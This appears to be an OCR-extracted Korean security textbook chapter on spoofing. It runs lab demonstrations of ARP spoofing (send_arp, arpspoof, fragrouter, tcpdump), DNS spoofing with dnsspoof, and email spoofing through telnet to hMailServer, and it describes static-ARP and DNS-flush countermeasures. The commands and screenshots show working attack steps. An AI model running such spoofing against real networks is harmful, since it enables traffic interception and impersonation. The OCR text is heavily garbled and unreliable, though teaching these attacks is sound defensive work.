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IT C®2KBOOK

@® HEEI|AE ping HL|j7|

fping -a - g 192.168.0.1/24

ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
IcmMp
ICMP
ICMP
IcMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP

wishfree@ubuntu-14: ~

Host
Host
Host
Host
Host
Host
Host
Host
Host
Host
Host
Host
Host
Host
Host
Host
Host
Host

wishfree@ubuntu-14:~%
wishfree@ubuntu-14:~%
wishfree@ubuntu-14:~%
192.168.0.1
192.168.0.2
192.168.0.

166

Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable

fping -a -g 192.168.0.1/24

from
from
from
from
from
from
from
from
from
from
from
from
from
from
from
from
from
from

192.168.0.200
192.168.0.200
192.168.0.200
192.168.0.200
192.168.0.200
192.168.0.200
192.168.0.200
192.168.0.200
192.168.0.200
192.168.0.200
192.168.0.200
192.168.0.2600
192.168.0.200
192.168.0.200
192.168.6.200
192.168.0.200
192.168.0.200
192.168.0.200

for
for
for
for
for
for
for
for
for
for
for
for
for
for
for
for
for
for

ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
IcMpP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP

Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo
Echo

sent
sent
sent
sent
sent
sent
sent
sent
sent
sent
sent
sent
sent
sent
sent
sent
sent
sent

to
to
to
to
to
to
to
to
to
to
to
to
to
to
to
to
to
to

192.168.0.3
192.168.0.4
192.168.0.5
192.168.0.6
192.168.0.7
192.168.0.8
192.168.0.9
192.168.0.160
192.168.68.11
192.168.0.12
192.168.0.13
192.168.0.14
192.168.0.15
192.168.0.16
192.168.0.17
192.168.0.18
192.168.0.19
192.168.60.20

7 7-1 192.168.0.1/24 WEXI0 ping ELH7|
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wishfree@ubuntu-14: ~

wishfree@ubuntu-14:~5 arp -a

7 (192.168.0.1008) at 00:0c:29:97:13:8c [ether] on ethe
? (192.168.0.2) at 08:0c:29:b2:4c:80 [ether] on eth®

? (192.168.0.1) at 08:16:d3:ca:85:67 [ether] on ethe
wishfree@ubuntu-14:-5§

T8 7-2 192.168.0.1/24 WIET0l ZXHsH= AlAHIC| MAC F4

ITC®TKBOOK
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2.1 ARP AL 0f CHsSt Of of
B ARP A x4
= MAC =AE £0|= AQAHSBOA 2o 54 CHA0| 22 2Ho| LO{0F 2
e M3 o3|
(& |2 (2
P ZA 110002 P ZA 110004 P 24 :10.003
MAC T4 © AA MAC 4 :CC MAC 4 : BB
“Z20F 100,032 “45(0}, 10.0.022
MAC FA= CCOE” MAC F4&= CCOE”
12 7-3 ARP A of
SAE 02 P ZA MAC F4&
E 10002 AA
%5 10003 BB
= 10.0.0.4 B
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2. ARP A4l
2.1 ARP AZEH0| TSt Olof

mARP AZ

s AUZo| E 02 7)Y

_T'_J#II-

o=

Y vV
| A | A
=of0|¢HE MH

12 7-4 ARP AZE ZZo| AT

ITC®TKBOOK
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1. 234 34
A& 7-2 ARP AZZLOZ ALILGHD|

ITC®TKBOOK

>
f>
riok
o

SAHKLAAH : 22| 2lsA

« HUl MY : 22E MH 16

. Elull SpjoRIE  REE HIATE 14
- TR T2 : fake

@ fake AX|s}7|
apt- get install fake

- fake& ZX[ot F 'send_arp’ HS LASIH AHERO| L=

send_arp

root@kali: ~
File Edit View Search Terminal Help

lOOL@kdll ~# send arp |
send_arp: sends out custom ARP packet. yuri volobuev'S7

usage: send arp sndr_ip addr sndr_hw addr
targ_ip_addr targ_hw_addr
[[targ_int [src_hw_addr [dest hw_addr] [reguest|reply]]

root@kali:~# I

QOO

% 7-6 send_arp &8
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1. 2%Y 37
IT C®#KBOOK
&5 7-2 ARP AFTHOZ ALIEHGH)|

@ 4 HO| ALE2| MAC F=24 H|0|F =57

ping - ¢ 1 192.168.0.2

ping - ¢ 1 192.168.0.200

arp -a

root@kali: ~ 00

File Edit View Search Terminal Help
root@kali:~# ping -c 1 192.168.0.2
ING 192.168.0.2 (192.168.0.2) 56(84) bytes of data.

64 bytes from 192.168.0.2: icmp_seqg=1 ttl=64 time=2.23 ms

--- 192.168.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time @ms
rtt min/avg/max/mdev = 2.233/2.233/2.233/0.000 ms

root@kali:~#
root@kall ~#

ping -c 1 192 168.0.200

6(84) bytes of data.
64 bytes from 192 168.0. 2@@ 1cmp seq=l tt1=64 time=0.218 ms

--- 192.168.0.2080 ping statistics ---

1 packets transmitted, 1 received, 0% packet loss, time OGms
rtt min/avg/max/mdev = 0.219/0.219/0.219/0.000 ms
root@kali:~#

root@kali:~# arp -a|
gateway ) at BB:0c:29:44:2c:ea [ether] on ethO

7 (192.168.0. 299) at B0:0c:29:37:80:4d [ether] on eth®
7 (182.168.0.2) at 00:0c:29:c4:9a:0d [ether] on eth@
root@kali:~# Jj

8 7-7 ARP AFY ZZ Tof| =lst S20|HES| MAC FA HIOIS
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root@ubuntu-5-16: /

? (192.168.8.1) at 00:0c:29:44:2c:ea [ether] on ens160
? (192.168.0.200) at 00:0c:29:3f:80:4d [ether] on ens166
? (192.168.0.201) at 00:0c:29:ad:25:88 [ether] on ens166
root@ubuntu-5-16:/#

(a) ARP AZH Z24 Toj| =215 EUl M| MAC F4 H|0|S

D 1 D

oot@ubuntu-14:/# arp -a

? (192.168.06.2) at 00:0c:29:c4:9a3:0d [ether] on eth®

7 (192.168.0.201) at 00:0c:29:ad:25:88 [ether] on ethe
? (192.168.0.1) at 00:8c:29:44:2c:ea [ether] on eth®
root@ubuntu-14:/#

(b) ARP AZEZ 224 Fofl 2fI5H &l Z2}0|HES| MAC F4 HIOIS
2 7-8 ARP AL 22 Tofl 2215 24l M 2l S20IHES| MAC F4 HIOIE

IT C®2KBOOK
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1. 234 34
A& 7-2 ARP AZZOZ AT

® I 0|9} TCP Dump $33}7]
- I70| Yal BH RO JzE A Y0|S ASAIL.

—

fragrouter —B1

root@kali: ~ (- o~ ]

File Edit View Search Terminal Help

oot@kali:~# fragrouter -Bl
[ragr‘outer: base-1: normal IP forwarding

T8 7-9 fragrouter &1

ITC®TKBOOK
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=

A iz 1]
—T O

i

[
i}

7

® fz =

J EAL=PNE
m -

tcpdu

27
-2 ARP AL Oz AL|EHBID]
12{|0|2t TCP Dump £3l5}7|

p -xX

gdot &= J= & TCP DumpE A

AlS
o
o

File Edit View Search Terminal Help
oot@kali:~# tcpdump -xX|
tcpdump:

Gx0000: 000Gl O8O0 B604
Ox0016: QGG1 ceee GeeE
Gx0020: 0QOGE GEOE BGEEO

08:48:19.812994 IP kali.35941 =

.in-addr.arpa. (44)
Bx0OEE: 4500 GE48 240b
OxBElG: aB87e 301 BcBS
Ox0E20: 0GEE1 eceeE Geee
BxBE30: 3638 0331 3832

verpose output suppressed,
listening on eth@, link-type EN1GMB (Ethernet),
08:48:19.810358 ARP, Request who-has 192.168.0.200 tell gateway, length 46

root@kali: ~

0001 000c 2944
0000 cbaB GOc8
Goee GOGe ceoe

kns.kornet .net.

4000 4011 6daS
BE35 BO34 a936
0000 0332 3030
0769 6e2d 6164

use -v or -vv for full protocol decode

capture size 262144 bytes

2cea cBaB8 .......... 1D, .

BRBA BOBE owieeaneai e

BB e

domain: 2B627+ PTR? 200.0.168.192

cBaB 00cY9 E..H$.@.@.m.....

6fd3 0166 .~7..e.5.4.60...
0130 @331 ......... 200.0.1
6472 0461 6B.192.in-addr.a

J% 7-10 TCP Dump &

ITC®KBOOK
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IT C®2KBOOK

@ ARP 2%E 4 5}
send_arp 192.168.0.2 00:0C:29:AD:25:88 192.168.0.200 00:0C:29:3F:80:4D

root@kali: ~ 00
File Edit View Search Terminal Help
root@kali:~# send_arp 192.168.0.2 00:0C:29:AD:25:88 192.168.0.200 BG:BC:29:3F:81

14D
root@kali:~# l

2 7-11 send_arpE 0|88t ARP AL

root@ubuntu-14: /

root@ubuntu-14:/# arp -a

7 (192.168.0.2) at 00:0c:29:8d:25:88 [ether] on eth®
7 (192.168.0.201) at 00:0c:29:ad:25:88 [ether] on ethe
? (192.168.0.1) at 0P:8c:29:44:2c:ea [ether] on ethe
root@ubuntu-14:/#

J8 7-12 ARP AR 32 = 8l S20|HUES MAC F4 HOIS
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Al
=

| 2174
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i

IT C®2KBOOK

0F!

o
7-2 ARP AZ IO Z AL[EGH)|

i}

© EU AHESH|

telnet 192.168.0.2

oot@ubuntu-14:/# telnet 192.168.0.2
Trying 192.168.6.2...

Connected to 192.168.8.2.

Escape character is '~]'.

Ubuntu 16.84 LTS

ubuntu-5-16 login: wishfree

121 7-13 ARP AR 37 § gyl 9
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A [

]

root@kali: ~ @00

File Edit View Search Terminal Help

09:02:15.797562 IP 192.168.0.200.51488 > 192.168.0.2.telnet: Flags [P.], seq 113

:114, ack 85, win 229, options [nop,nop,TS val 345944 ecr 2936285], length 1
Ox0EEE: 4510 GE35 67cd 4000 4006 50chb cfaB B0cB E..5g.@.@.P.....
Bx0B10: cOa8 GOO2 cS20 0017 bde3 2260 d2af a7cc ......... (L
Ox0O20: 8018 GBe5 43d5 GEED G1E1 08BOa DOB5 4758 ....C......... GX

Gx0030: 0602c cddd 77 m
09:02:15.797635 IP 192.168.0.200.51488 = 192.168.0.2.telnet: ags [P.], seq 113
:114, ack 95, win 229, options [nop,nop,TS val 345944 ecr 2936285], length 1

Gx0EEE: 4510 GE35 67cd 4000 4006 50cb cfaB B0OcB E..5g.@.@.P.....

Ox0R10: cBaB GOG2 c920 0017 bde3 2260 d2af a’cc ......... e s

OxQ020: 8018 G0e5 43d5 GEEO GlE1 08Ga DOGS 4758 ....C......... GX

Gx0030: 0602c cddd 77 m
09:02:15.798025 IP 192.168.0.200.51488 > 192.168.0.2.telnet: ags [.], ack 96,
win 229, options [nop,nop,TS val 345544 ecr 2936568], length 0

Ox0EEE: 4510 0034 67ce 4000 4006 50chb cfaB B0cB E..4g.@.@.P.....

Ox0010: c0aB GOO2 ¢920 BO17 bde3 2261 d2af a7ed ......... [ T

Ox0020: 8010 GBe5 bScl GGEE G101 BB80a BEOS 4758 ........c.c0ues GX

Ox0030: 0O60Z2c cefB cae

J2 7-14 ARP AFE 2 A| #x{s 03!

IT C&TKBOOK
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0F!

o
&5 7-2 ARP AFTHOZ ALIEHGH)|

Fd 12l EM5;

= send_arpZ EH I{3IS &

N

ZAXF A|AEIO A WiresharkE 0| 8238| 4K

*ethO
File Edit Wiew Go Caplure nnalyze Statistics Telephony Wireless Tools Help

B Ae«nEFLETEQQAE

E3 -] Ewpression.. +

0o

Prot peol Length Info

1 6. AEABENAE. A6 Who has 165 . 8.2067 Tell 18
2 0.Do01aaans

2 A RAARDIITE

ARP
TEMERT EA Mambarehin fuery  aonesrs

\trware af
- 162 988 A 1
L]
b Frane 1. 60 bytes an wire (480 pits), 60 bytes captured [480 bits) on interface 0
» Ethernet II, src: Wnware_ad:25:88 (@0:6c:23:ad:25:88), Dst: wnware_3f:89:4d (@@:gc:23:3f:Bpi4d)
w address Resolubion Profocel (request)

Hardware bype: Ethernet (1)

Protccol type: IPv4 [GxDEOD)

Hardware size: &

Frotocol sire: 4

opcode: request (1)

Sender MaC address: Vmware_ad:25:88 (06:0c:29:3d:25:488)

sefider 1P address. 182 L68.E 2 '
0O Bc 29 3f 60 4d G0 Oc 25 Ao 25 B8 08 06 00 GL  ..07 .M., J.%....
P8 DO 08 D4 OB B1 €0 GC 29 ad 25 BE CO 3B OO B2 ... ...,
g6 Ac 28 3 50 4d €0 28 00 CE DO BAE 00 90 OO0 B0 ..)7 .M.
bg B@ @G 20 90 00 G0 @0 00 DG PO DG e

60 192,1668.0,200 15 &t 80:0c;29:3F;80:4d

B Packets; 8 « Displayed: 8 (L00,0%)

I

Frofils: Diefault

8 7-15 ARP AFE 13l

ITC®TKBOOK
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ITC®TKBOOK

i
“ ARP ART 20| PEE EA
= 16ZHEX) 2ZBinary)
00 0c 29 3f 0000 0000 0000 1100 0010 1001 0011 1111
80 4d 00 Oc 1000 0000 0100 1101 0000 0000 0000 1100
2715 T2 3l
29 ad 25 88 0010 1001 1010 1101 0010 0101 1000 1000
08 06 0000 1000 0000 0110
00 01 08 00 0000 0000 0000 0001 0000 1000 0000 0000
06 04 00 01 0000 0110 0000 0100 0000 0000 0000 0001
00 Oc 29 ad 0000 0000 0000 1100 0010 1001 1010 1101
" 25 88 c0 a8 0010 0101 1000 1000 1100 0000 1010 1000
ARP I 00 02 00 Oc 0000 0000 0000 0010 0000 0000 0000 1100
29 3 80 4d 0010 1001 0011 1111 1000 0000 0100 1101
c0 a8 00 c8 1100 0000 1010 1000 0000 0000 1100 1000
0000 ~ 0000 0000 0000 0000
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Destination MAC Address

0000 0000 000011000010 10010011 1111

Destination MAC Address Source MAC Address

100000000100 1101 0000 0000 0000 1100

Source MAC Address

00101001 10101101 00100101 1000 1000

Type
0000 100000000110

Page 19



Axxul g = rel
ARP A4 17l FMo}7|
HHO -
- 2} RE2 ARP THZIO| 7|2 X0 of
Hardware Type(HRD) Protocol Type(PRO)
0000 0000 0000 0001 0000 1000 0000 0000
Hardware Address Protocol Address
Opcode(OP
LengthHLN) Length(PLN) boedelh)
00000110 0000 0100 0000 0000 0000 0001

Sender Hardware Address(SHA)

0000 0000 0000 110000101001 1010 1101

Sender Hardware Address(SHA)

Sender Protocol Address(SPA)

0010 0101 1000 1000

1100 0000 1010 1000

Sender Protocol Address(SPA)

Target Hardware Address(THA)

0000 0000 0000 0010

0000 0000 0000 1100

Target Hardware Address(THA)

0010 1001 0011 1111 1000 0000 0100 1101

Target Protocol Address(SPA)

1100 0000 1010 1000 0000 0000 1100 1000

ITC®TKBOOK
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M
= CtA] arp -a H@HO Z MAC =4 H|O|=

=48 E&= staticO] /S

ITC®TKBOOK

Bo H A Ol
== =

T AR D

A E staticC 2

RMPermanent

S40| S02t: #HoHA| 5.

= | O >

A FO AL 1L
» O| A MAE .
O|EHAH MHEE= PRI MAC =4 /& ARP A=
BN Administrator: Command Prompt
C:Wnetsh interface ipvd add neighbors "Local Area Connection
—Bc-29—-c4-2a-8d4"
C:tarp -a
Interface: 192.168.8.108 —— Bxb
Internet Address Physical Address Type
192.16 .E.l B_ﬂ—lﬂc—29—4‘—2c—ee dynamic
|192.16 .0.2 B8-Bc-29-c4-7a—Ad static
192.168.08.255 FE—FF—ff—FF-FF-TF static
224.9.8.22 B1-88-5e-B0-B8-16 static
224.9.8.252 B1-A8-5e—BB-08-fc static
239255255258 B1-88-5e-7fF-ff-fa static
C:>

" '192.168.0.2" 80 -

g 7-16 static MAC 42| 843
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3.1IPp A &4l
ITCRTKBOOK
3.1 1P A0 CHSt Ol o
E 2{ A E (Trust)
= AMAEO HEsS I XpAo| IP FAZ Q1FoIH 2191 Qo] B£0| 7hsobA|
U= AL EZ2 22 = J}X|TH PR X5t 215 f2[7} 7+5)
(@)

| QK| HA JHEHE (CHEX O

= SSO(Single Sign On) : EZ{AEQ| Clj3t &k™O| &
OfE|L ClAMEa], M Oo| AR A|A

ol = 9-||:H§*(Kerberos)§ M 2z 90|

Bl = o] NIS+ S0| 9/2)
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B EAEQ MH™EN Ast

= Jetc/hosts.equiv : A|AHI FAH O k= OE

= $HOME/.rhost : AL X} Sk AFREO| &= T

#7-1 Jetc/hosts.equiv &= rhost EZE LHE

ITC®TKBOOK

a4 LHE

host_name host_name?| 22 s23ICt,

host_name user_name user_named| CLHSt host_name2| 2 s1E8HT
4 2E AMARC| EHZS si88iL

+user_name user_name0 Cigt 2= AARIC] TS SIEBICL
—host_name host_name?| EZS XItiCt

host_name —user_name user_named| thet host_name2| FZ2S XICtSiCt
+@netgroup netgroupO| Chgt 2= A|ARIC] HZS SiE8iCt
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ITC®KBOOK

T2 7-17 1P AR IS OfsHE 4+ Q= of

" X 20l= Agel AR =L 200 MASES =X HES HEEJAD
|

SSHE AF2SIEE ANSHY| 20| [P AZI 20| 0|20 X|X

Page 24



RN A=
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ITC®TKBOOK

staticQ 2 X|
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IT C&TKBOOK

B DNS A{H|A
(A
——
ez 1 W onsum
_ e’ '
© Web Login N>
@ DNS Query

‘ l @ DNS Response

(2
2210|HE

A 7-18 FEXQI DNS AMd|A
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DNS A Z DNS Query ifjZl& EYj= 4= = QI(ARP AZEH
8 xHejo| 2a)

= L O 1
@ DNS Query
1 DNS A
\\4__;1':5_—-—-"
_ @ DNS Query
| | A
Sc0|HE 27K}

12! 7-19 DNS Query
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H DNS A AEEI
2 DNS A7} ZHIE DNS Response I{ZlS ELF7| MO =%l DNS
Response T} 212 2a}0|AEO|H| 2

© DNS AMH2] DNS Response I§Z!

\ 0 DNS At

© SZixt2| DNS Response T2

| & | A
o — e -
N e
22i0|gE SZAKt

2 7-20 34Kt DNS AMHe| DNS Response
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©
ju
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<
e
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rir
OH
1N

XI7F 2 DNS Response IfZl2 2HIE DZI0 2 QlAIS}

HEE E M =ci0|gE AKX

Page 30



DNS AZ
25 7-3 DNS A&

0E!
I]d
I
iz
i}
ol
>

IT C&TKBOOK

L3 - TARARE 22 alsA
© B A AIAY 252 7
. BE HAO|E AJAE 2]

A= A 2012(11S)
- 22 T2 arpspoof, fragrouter, dnsspoof

o M 2587

[ 1S Windows Server

€ = C | [319216801

== Windows Server

Internet Information Services

Bienvenue  Tervetulca

L5-% Benvenuto | &

Bem-vindo

4 ‘ .’ BIENVEnIdes Hos geldiniz | o'wan oo

ki
KarAwe

a3 7-22 =8 # M2 =HH
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& Google

&« - C | Eﬁhttpsh’wwwgooglecokr;!.n.ebhp?hl ko&icty=2&sa=X&ved= ﬂahUKFwH%nﬂﬂdH{g

Gmail 0|0|Z|

Gongle T4

I'm Feeling Lucky

T2 7-23 72 APIE S

IT C&TKBOOK
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vi dnsspoof.hosts
192.168.0.1 *.google.co.kr

dnsspoof.hosts + (/) - VIM

File Edit View Search Terminal Help
192.168.0.1 *.google.co.kri}

-- INSERT -- 127

00

All

% 7-24 dnsspoof.hosts 4%

ITC®TKBOOK

Page 33



>
[IJ|[IJ =

ARP 2 —%% As
arpspoof -t 192.168.

fragrouter -B1

2o
AotLY7| QIE) TS Y Of ZAHX}

ITC®TKBOOK

AMA2EE ALES

I, TiZl0| B|BO{X[X| K== fragrouter A&
0.100 192.168.0.1

root@kali: /

File Edit View Search Terminal Help

Foot@kali:/# arpspoof -t 192.168.0.100 192.168.0.1|

CidYad dogl U
188
‘€:29:8d:25:88 0:
.88
1c:29:2d:25:88 0:
188
:€:29:ad:25:88 0:

QU U eOU G

C

e

C

C

129:173:d4

129:13:d4

193 UBto 4Z: arp reply 192.168.0.1 is-at O:c

:93 0806 42: arp reply 192.168.0.1 is-at 0:c

:29:73:d4:93 0806 42: arp reply 192.168.0.1 is-at 0:c

:29:73:d4:93 0866 42: arp reply 192.168.0.1 is-at O:c

006

:29:ad:2
:29:ad:?
:29:ad:2

:29:ad:2

root@kali: /

File Edit View Search Terminal Help

oot@kali:/# fragrouter -Bl

win 252 (DF)

fragrouter: base-1.
1892.168.0.1080.1164 > 59.18.35.152.443:

normal [

? forwarding

192.168.0.100.1157 > 58.18.34.211.80: R 15610484243:1610484243(0) ack 3441988526

F 1975837838:197983783B(0) ack 2488623551

00

O8 7-25 ARP

AR B2t fragrouter A
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dnsspoof - help

dnsspoof -i ethO -f /dnsspoof.hosts

File Edit View Search Terminal Help

oot@kali:/# dnsspoof -i eth@ -f

/dnsspeoof.hosts

root@kali: / - N <)
File Edit View Search Terminal Help
oot@kali:/# dnsspoof -help |
Version: 2.4
Usage: dnsspoof [-1 interface] [-f hostsfile] [expression]
root@kali:/# [
root@Kkali: / 00

nsspootT: listening on e udp dst por and not src 192.168.0.201]

192.168.0.100.56641 > 168.126.63.1.53: 18677+ A? www.google.co.kr
192.168.0.100.56641 > 168.126.63.1.53: 18677+ A? www.google.co.kr
192.168.0.100.56250 > 168.126.63.1.53: 46918+ A7 id.google.co.kr
192.168.0.100.56250 > 168.126.63.1.53: 46918+ A? id.google.co.kr
192.168.0.100.52536 > 168.126.63.1.53: 1698+ A? www.google.co.kr
192.168.0.100.52536 > 168.126.63.1.53: 1698+ A? www.google.co.kr

|

12l 7-26 DNS AT Eo| =34t ==
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[ IS Windows Server

€« = C [519216201

== Windows Server

Internet Information Services

Welcome Bienvenue | Tervetulca

k37 Benvenulo | Eil

o i .’ Bienvenide Hos geldiniz | owan oona

Bem-vindo L}
Kotk

A8 7-27 A 2= MOEZ| /Z AO|ER SZ
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ipconfig /flushdns

BY Administrator; Command Prompt

(= &]=]

tWripconfig /flushdnsl

WYindows IP Configuration

Successfully flushed the DNS Resolver Cache.

G

18 7-28 324 &l Al 2210|HES]| DNS FE AlH|

ITC®TKBOOK

2tO|YES 2[FEoALE A|IL-0 A= DNS HiE= A A
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2t0| A E 0| Al www.google.comO] ping &2{ =9l

— oNe = —
ping www.google.com
B Administrator: Command Prompt |;||E'|E'
th)ping wum-ﬂ_ggle-co.kvl -

inging www.google.co.kyr [192.168.8.11 with 32 bytes of data:

eply from 192_168.8.1: bytes=32 time{ims TTL=128

eply from 192.168.8.1: bytes=32 timed{ims TTL=128 i
eply from 192.168.8.1: bytes=32 time<{ims TTL=128

eply from 192.168.8.1: bytes=32 timed{ilms TIL=128

Ping statistics for 192.168.0.1:

Packets: Sent = 4, Received = 4, Lost = (Bx loss).
Approximate round trip times in milli-seconds:

Minimum = Bms,. Maximum = Bms,. fAverage = Bms

C: 4> -

12l 7-29 27 5 Z20|E0fM T2 AOIER ping ELH|
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4. DNS A &4l
IT C® KBOOK

4.1 DNS AFEHO0 CH H

Ol

g

O

m DNS ¢$—rg2| £ O} [l

* A0 T3 AN OIS  hosts THUS Sof =09l 0|20 Cf
3P FAE ofA

* Hosts THUO| Z2¢ ALO|E9| IP 525 20I5}0] XO{SH DNS AR Z2
oo
JotA| HE.
B} Administrator: Command Prompt - ping www.google.co.kr |E| .El E|
tWrping www.google.co. ke -

inging www.google.co.kr [59.18.44.49]1 with 32 bytes of data:
equest timed out.

T2 7-32 pinglz F&sk= A|AHIQ| [P 20l
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B DNS A zlo| & OF CH*H
= DNS AMH | C{$t DNS A= Ol
£ Z[¢ HTESZ HHY A o A
= BIND : PTR |2 E20F OfL|2} PTR |ZE0| 2|ot A &|ZE FETIX| =0lct
2 U M| HIO|EHH|O]A Th A O 27HK| T 7ts
« PTR 2|2 E : Reverse Zone(Z|HHA Z)0|AM 7}E =Qct 8|2 EZ, IP =20 Cist =
o el o] 5= diiH

« A2|ZE : Forward ZoneQj| Al =0 Q] O| S0 Clict IP F=AE S| A

OH

42 BIND(Berkeley Internet Name Domain)

if (gethostbyname(gethostbyaddr(getpeername())) != getpeername())
{/* DNS &4 9o| 2|d= &2l T= */}
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ITC®TKBOOK

ASEHE - SR ALY A= M 2012, REF 14
« EQ m273 : hmailserver, Sendmail

@ hmailserver AX|5}7|

3¢ )

hiallserver - Fre

=

www.hmailserver.com

« > ca

Farum

Functionality  Download

Welcome

erver for Microsoft
viders, comp,
all parts of the

pr
n

d.

It supports the common a-mail protoecals [IMAF, SMTP and POP3)
and can easily be integrated with many existing web mail systems.
It has flexible score-based spam protection and can attach to your
wirus scanner to scan all incoming and outgoing email.

Core features

with a sat of built-
ich PR

Licansed under AGPLv3, hMails
can be used for fres in most
canarios. [ ource code

r anyona to read or

bute to the hMallServer praject? Help people in the
, Billarga and Cityline &G, C

er forum or donate money. The latest donations
0 RgH.

T2 7-33 hmailserver AIE
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@ hmailserver AX|5}7|

ITC®TKBOOK

« 2X SO B MEZE AFE S OB H[O]AF g0t ZE[Ate] THARIE

= M-
=2 =2 O
5 Setup - hMailServer =
Select database server type
Database type

(®) Use built-in database engine (Microsoft SQL Compact)

(0 Use external database engine (MSSQL, MySQL or PostgreSQL)

Maore information...

| <Back | Mext>

|| Cancel

9 Setup - hMailServer =P

hMailServer Security
Specify main password

The installation program will now create a hMailServer user with administration rights.
Please enter a password below. You will need this password to be able to manage your
hMailServer installation, so please remember it.

Password:

R |

Confirm password:

[sessesss ]

| <Back | MNext> | | Cancel

% 7-35 hmailserver2| H|O[E{H|0|A AMEH

T2 7-36 hmailserver?| &2|X} IASE AX
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@ hmailserver a5} 7|
= hmailserver administratorE Als S <Add> HES =2 0|YY AH =7}

Server informationl -0 X ﬂ

Host name
[}oc;aihost _ |

E Connect

Host name hMailServer Usemame

hMailServer Usemame
|.-“~d11nisi|ator
Password

(® Ask when connecting

B |

() Save password

<< Encrypted >3

] Automatically connect on start-up

| Sae || Cancd |

Cancel

S —)

Connect |

7121 7-37 hmailserver administator Azt 7 7-38 mail MY H H2XHAE S5
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&5 7-4 E-mail AFE 3206}

AlS

2 Ao}

@ hmailserver

= FUHEl Y AMHHE MEHSELD, <Connect> HEZS £ E = 22| A DA

S| Connect

hMailServer Usemame
Administrator

Host name
localhost

[ Automatically connect on start-up

d

4

ove

I Connect

Cancel

ITC®" KBOOK
== OI E=|
hMailServer password
Please enter the hMail Server password. What is this?
| ok || caca |

2 7-39 mail M 9&

gl 7-40 administrator IHAYE

Page 44




ITC®" KBOOK
A& 7-4 E-mail ATFE SAGH|
° NI
@ hmailserver A1gi5}7|
= [Domains]E MEAGH &, <Add> H == 22310 empas.com= S5
i hidaliSener Administrator - [locathost] |;|£|_._*j & hirdafServer Administrator - flocathosi] [=Ta] =]
= o
l E;Es:m [r— Erabled _“ §§§’ Gﬂ“d-NMSISmM Limis | DFM Siarng | Advanced |
h [ : ._, Eratied
e oo |
£ Bd |

O 7-41 EHRIS2 empas.com &2
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210}

@ hmailserver A1gi5}7|

= SE 5] [Domains]& AEHSE &, [Accounts]| A <Add

ECS dZ2ls
> HEZS 28010 AR
I Ly = rol o M
Xt AH S E wishfree@empas.coms 50110, At 82 H4H
3 hMailServer Admnisrator - locathos] [=1a] = | =Y hifiallsener Administrator - [localhos] [=T= =]
o ;:t““ﬁ | Accounts _ \_fi' :l'::"" | wishfracaenpas.com
= c'w:::ww Mame Eratied E .,:is:m::“m Generd | Aujerephy | Formerding | St | Besn scounts [ Rues | Acive Diectory [ Advl 12
= | il
Mhtabston bets T 15 Bhemm
13 Fluben Remme 1% Chetibe i bt
# Setings %) Aues
B Unies 95 ez
B Uit
;"’;‘E‘I-:DJI III;“Z 115
Wi Ensbied
e e
g 7-42 MEX AFESR wishfree@empas.com S5
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@ hmailserver Algi5}7|
= [Settings]-[Protocols]-[SMTP]-[Delivery of e-malil]0jj Al SMTP A|H O|E2 &

&
File  Help

7 Welcoms
ﬂ Sielus
H-Q Daomaing
=5 empas.com
=] Aceounts
2 wishfree®empas com
Blases
Disinbution sts
Rules
B9 Seftings
=& Protocaols
@ SMTP
7 Foules
& poP3
H g IMAP
= (& Artizpam
'& Artiwiruz
Legging
=8 Advanced
B g Lkittise
|1 Backup
% M¥quary
% & Server sandout
W Diagroastica

hMailServer Administrator - [localhost]

SMTP

Delivery of e-mail
Hurmber of reties

Gerersl | Delveny of e-mal | Ctafistics | RFC compliancs I Advanc=d

Minutes between every retry

4

[e@ |

Local host rame

|mi.cmpm.ﬂnm

SMTP Relayer

Remate TCPAF pert

Remete heet name
|

5

Userrame
Erosened

Cornaction security
|M::ne

[ serverrecures athantcation

[<< Encypted >

Save

% 7-43 SMTP Mg MH{2| 0|8 S=

H
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® telnet 4 X|35}7|

= Server Manager®| ‘Add roles and features'0f| A| telnet 22}0|HE AX|

[ ST ol 7|z 7 OFE A = e K
= i A

’-"'| [=) )rj E—|H AMAZON-WISHFREE
AEB| A A5z HEH 2T 755 =4 oY A9 AL
2R 78 I oy
MBS = ) .z " Telnet Clhent uses the Telnet
My @ LI Simpla TCP/IP Services protocol te connect to a remote
715 [ SME 1.DVCIFS Flle Sharing support(S4E Telnet server and run applications
wl [ SMB Bandwidth Limit on that server.
=
= =

] SMTP Server

[>T SnniP senvice
| &

[] Talnet Servar

[ TFTP Chient

[v User irterfaces and Infrastuciurs( 2%

oh

[ windows Biometric Framework
O windows Feadback Forwarder
[] Windows Idertity Foundation 3.5
[] Windows Intarnal Database
> [W] Windows PowerShall(3/57H <X &)

<] i ES N

% 7-44 telnet 22l0[HE HX|
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@ oM ™Sot/|

= telnet HEH O 2 hmailserverl|| &=

telnet 127.0.0.1 25

helo mail.empas.com

mail from:wishfree@empas.com

rcpt to:**yang@****** com
data

Hello mail spoofing test!

quit

ITC®TKBOOK

220 mail.empas.com ESMIP
helo mail.empas.com

250 Hello.

mail from:wishfreefenpas.com
250 OK

rcpt to:  wangl® ~com

250 OK

data

354 0K, send.

Hello mail spoofing test?

250 Queued (19.875 seconds)
quit

221 goodhye

SASo ofEt G9ZE YASUL

C:sersfAdninistratord

o #2|ik 3 EREE

O 745 MY TS

Page 49



® O|H ¥ =elst7|

= wishfree@empas.comQ 2 £E 0| HMEHOZE MELUSS =0l
= 0|3 A2 OES EL7|2 St SHES T == Bl

i 2016-08-21 @2 03:56:01 - 1BM Notes E=R EE
File Edit View Create Actions Tools Window Help
Open~ & H L & &8

3 - Search All Mail

# Home » | [z Dae-ll Yang - Mail > | = 2016-08-21 2E03:56:01 =

) hlew = gl Replv « SlReply 10 A= @Forward> @+ - @ Displave © - Nores

L)
i ™) <
[ |
e, | _ -
— wishliree (o 2016-08-21 2% 04:06 =
MY @ ESmes] s 52 ed gy ide Detals |
_ l=
From I wishiree@empas.com |
To [

felo mal spoofing test!

== A& Online-

1% 7-46 sendmailOflA 245t O|H| Y 2ol
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® O|HY =Qlst7|
= 2| SA0|AM = sendmailE AFESHY O &
